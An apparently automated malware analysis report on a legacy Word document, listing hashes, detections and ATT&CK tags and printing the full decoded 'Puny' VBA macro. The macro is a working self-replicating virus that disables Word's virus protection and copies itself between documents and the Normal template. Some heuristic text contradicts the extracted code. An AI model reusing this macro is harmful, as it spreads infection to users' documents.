Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 102074510055b7ec…

MALICIOUS

Office (OLE)

26.0 KB Created: 2000-05-22 15:54:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 1baea173ee6cd6863be63fa316242fc2 SHA-1: efd51a4aaa58a308c2f11286289804819f134f34 SHA-256: 102074510055b7ec376f81b006785ce597a45d12be38a45cfe67e5dcb9076108
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing a VBA macro with an AutoClose subroutine. This macro is designed to export VBA components to a file named 'c:\P' and then import them, a common technique for establishing persistence or downloading and executing additional malware. The ClamAV detection 'Doc.Trojan.Fool-12' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Fool-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Fool-12
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 845 bytes
SHA-256: 481be5de6c0d4a2909740bd5394a2f36c5b50aaef3c7b3e98da7210bd4b68b92
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Puny"
Sub AutoClose()
    'Puny v1.01 The WaLRuS
    On Error Resume Next
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    Set N = NormalTemplate.VBProject.VBComponents: Set D = ActiveDocument.VBProject.VBComponents
If N.Item("Puny").Name <> "Puny" Then
    D("Puny").Export "c:\P"
    Set i = NormalTemplate.VBProject
ElseIf D.Item("Puny").Name <> "Puny" Then
    N("Puny").Export "c:\P"
    Set i = ActiveDocument.VBProject
End If
i.VBComponents.Import ("c:\P")
ActiveDocument.Save
End Sub

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